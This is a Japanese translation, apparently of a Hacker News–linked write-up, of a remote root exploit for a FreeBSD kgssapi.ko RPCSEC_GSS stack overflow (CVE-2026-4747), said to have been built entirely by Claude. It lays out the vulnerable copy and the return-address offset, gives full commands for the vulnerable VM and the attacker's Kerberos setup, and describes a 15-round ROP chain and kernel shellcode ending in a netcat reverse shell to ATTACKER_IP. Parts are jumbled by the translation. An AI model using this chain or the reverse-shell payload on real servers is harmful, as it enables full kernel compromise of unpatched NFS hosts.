
2026/04/01 14:21
Claude が完全に実装した、FreeBSD のリモートカーネル権限昇格(RCE)で、root シェルを取得するものです。
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
FreeBSD の
kgssapi.ko モジュールに存在する CVE‑2026‑4747 欠陥は、スタックバッファオーバーフローであり、リモート攻撃者が対話型リバースシェルを介して完全な root アクセスを取得できるものです。このバグは、ポート 2049/TCP で kgssapi.ko がロードされた状態の NFS サーバーが、資格情報本文が 96 バイトを超える RPCSEC_GSS DATA パケットを処理するときに発生します。svc_rpc_gss_validate() へのコピー操作が callee‑saved レジスタとリターンアドレスをオーバーフローさせます。パッチ (14.4‑RELEASE‑p1) は境界チェック if (oa->oa_length > sizeof(rpchdr)-8*BYTES_PER_XDR_UNIT) を追加し、このオーバーフローを防止します。
影響を受けるリリースは、FreeBSD 13.5 (<p11)、14.3 (<p10)、14.4 (<p1) および 15.0 (<p5) です。脆弱性は、GENERIC カーネルで KASLR が無効化され、少なくとも 2 CPU(16 の NFS ワーカー・スレッド)がある 14.4‑RELEASE amd64 システムでテストされました。それ以外の場合、エクスプロイトは第 9 ラウンド付近で失敗します。
攻撃には、
nfs/test@REALM プリンシパル用の有効な Kerberos GSS コンテキストと特定のクライアント設定(rdns = false、dns_canonicalize_hostname = false)が必要です。エクスプロイトは 15 個のオーバーサイズ RPCSEC_GSS パケットを送信し、それぞれが kthread_exit() を介して一つの NFS ワーカー・スレッドを停止させます。すべてのスレッドが上書きされた後、ROP チェーン(固定カーネルアドレス 0xffffffff80e3457c などを使用)によりシェルコードがカーネル BSS に書き込まれ、実行可能にされてジャンプします。シェルコードは kproc_create を用いて新しいプロセスを作成し、kern_execve() を介して /bin/sh を実行することで、netcat 上の対話型 root リバースシェルを提供します。
NFS over Kerberos を公開している上記の影響を受ける FreeBSD リリースを実行しているシステムは、ネットワーク全体やサービスを侵害できるリモートコード実行に対して脆弱です。
本文
CVE‑2026‑4747 – FreeBSD kgssapi.ko RPCSEC_GSS スタックバッファオーバーフロー
1. 脆弱性概要
| 項目 | 内容 |
|---|---|
| 影響リリース | FreeBSD 13.5 (<p11)、14.3 (<p10)、14.4 (<p1)、15.0 (<p5) |
| コンポーネント | – カーネル内の RPCSEC_GSS 認証モジュール |
| トリガー | GSS 資格情報本体が 96 バイトを超える RPC パケット |
| 影響 | リモートでカーネル RCE → uid 0 のリバースシェル取得 |
| パッチ | 14.4‑RELEASE‑p1 は に対する境界チェックを追加 |
2. オーバーフローの発生メカニズム
int32_t rpchdr[128/sizeof(int32_t)]; // 固定ヘッダフィールドに 32 バイトを書き込む memcpy((caddr_t)buf, oa->oa_base, oa->oa_length); // ←境界チェック無し
はスタック上で 128 バイトを占有。rpchdr- ヘッダー分の 32 バイトを書き込んだ後、残りは 96 バイト。
の場合、コピー先がバッファ外へ書き込み、ローカル変数・保存レジスタ・最終的には戻りアドレスまで上書きされる。oa_length > 96
スタックレイアウト(簡易化)
[rbp-0xe0] ローカル変数 [rbp-0xc0] rpchdr[0] [rbp-0xa0] memcpy 先 (オーバーフロー開始) ... [rbp-0x28] 保存 RBX [rbp-0x20] 保存 R12 [rbp-0x18] 保存 R13 [rbp-0x10] 保存 R14 [rbp-0x08] 保存 R15 [rbp+0x00] 保存 RBP [rbp+0x08] RETURN ADDRESS ←オーバーフローで上書きされる
戻りアドレスへの実際のオフセットは 200 バイト(16 バイトの GSS コンテキストハンドルと XDR パディングが原因)である。
3. なぜ NFS と Kerberos?
は RPCSEC_GSS を実装しており、カーネル内で利用される唯一のサービスは NFS (kgssapi.ko
)。nfsd- 攻撃は、有効な GSS コンテキスト(Kerberos チケット
)を確立した上で脆弱なnfs/<hostname>@REALM
に到達する必要がある。memcpy
4. 対象環境 (Option A – QEMU Cloud‑Init)
# イメージのダウンロード wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/ FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz xz -d *.xz # 変更とコピー cp FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 freebsd-vuln.qcow2 qemu-img resize freebsd-vuln.qcow2 8G # Cloud‑init user-data cat > user-data <<'EOF' #cloud-config chpasswd: list: | root:freebsd expire: False ssh_pwauth: True bootcmd: - rm -f /firstboot - rm -f /var/db/freebsd-update/* runcmd: - echo 'PermitRootLogin yes' >> /etc/ssh/sshd_config - service sshd restart - kldload kgssapi - sysrc rpcbind_enable=YES nfs_server_enable=YES - echo '/export -network 0.0.0.0/0' > /etc/exports - mkdir -p /export - service rpcbind start && service nfsd start EOF # Cloud‑init meta-data と ISO 作成 cat > meta-data <<'EOF' instance-id: cve-test local-hostname: freebsd-vuln EOF genisoimage -output seed.iso -volid cidata -joliet -rock user-data meta-data # VM 起動 (2 CPU, 2 GB RAM) qemu-system-x86_64 -enable-kvm -cpu host -m 2G -smp 2 \ -drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \ -cdrom seed.iso \ -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \ -device virtio-net-pci,netdev=net0 -nographic
- KDC のポート 88 をホスト側の 8888 にフォワード。
- VM 起動時に
がロードされ、NFS エクスポートkgssapi
が設定される。/export
5. 攻撃者環境 (Linux)
-
パッケージインストール
sudo apt install krb5-user libkrb5-dev python3-gssapi -
Kerberos 設定
を FreeBSD VM の IP、VM_IP
を 88 または 8888 に置き換えてください。KDC_PORTsudo tee /etc/krb5.conf <<EOF [libdefaults] default_realm = TEST.LOCAL rdns = false dns_canonicalize_hostname = false [realms] TEST.LOCAL = { kdc = VM_IP:KDC_PORT } EOF -
ホスト名解決の追加
echo "VM_IP test" | sudo tee -a /etc/hosts -
チケット取得
echo password | kinit testuser@TEST.LOCAL klist # krbtgt/TEST.LOCAL@TEST.LOCAL が表示されるはず
6. エクスプロイト概要
| ラウンド | 目的 | ROP アクション |
|---|---|---|
| 1 | カーネル BSS を実行可能にする | + |
| 2–14 | シェルコードを BSS に書き込む (32 バイトずつ) | 4 × で各ラウンドに 1 スレッドを終了 |
| 15 | 最終書き込み & シェルコードへジャンプ | 2 × + BSS エントリへの直接呼び出し |
- 各ラウンドで NFS ワーカー・スレッド (
) が終了する。kthread_exit - 最低 2 CPU (16 スレッド) が必要で、1 CPU の場合は約ラウンド 9 で失敗。
ROP ガジェット(ROPgadget
による検索)
ROPgadget| ガジェット | アドレス (カーネルベース + オフセット) |
|---|---|
| |
| |
| |
| |
| |
- カーネルベース (
) は FreeBSD 14.x で KASLR が無効なため 0xffffffff80200000。K
7. シェルコード概要
-
エントリ (NFS スレッド)
- スタックをクリーンな RWX ページへピボット。
- ハードウェアデバッグレジスタ (
) をクリア。DR7
を呼び出し、ワーカーを生成。kproc_create(worker_fn, NULL, NULL, 0, 0, "/bin/sh")- NFS スレッドは
で終了。kthread_exit
-
ワーカー (新規カーネルプロセス)
- 引数ベクタ (
,exec_alloc_args
) を割り当て。exec_args_add_*
をセットアップ。/bin/sh -c "<reverse‑shell>"
でユーザランドへ切替。kern_execve
フラグをクリアし、P_KPROC
がプロセスを終了させないようにする。fork_exit- 通常実行へ戻り、シェルが起動。
- 引数ベクタ (
-
リバースシェルペイロード
mkfifo /tmp/f; sh </tmp/f | nc ATTACKER_IP 4444 > /tmp/f
8. ポイントと落とし穴
- Kerberos のホスト名解決 –
とrdns = false
は必須。dns_canonicalize_hostname = false - GSS プリンシパルタイプ –
を使用。gssapi.NameType.kerberos_principal - デバッグレジスタ –
をクリアせずにDR7
を呼ぶと子プロセスがブレークポイントを継承し、デバッグ例外でクラッシュ。kproc_create() - NFS スレッド数 – 15 ラウンド全て完了するには最低 16 スレッド(2 CPU)が必要。
9. 成果
約 45 秒 (15 回の RPCSEC_GSS オーバーフロー) 後、攻撃者側にインタラクティブな root リバースシェルが現れます:
$ id uid=0(root) gid=0(wheel)
このエクスプロイトは、標準的な NFS と Kerberos サービスのみを利用し、ユーザ空間から特権コードへリモートカーネル RCE を実現する完全なパイプラインであることを示しています。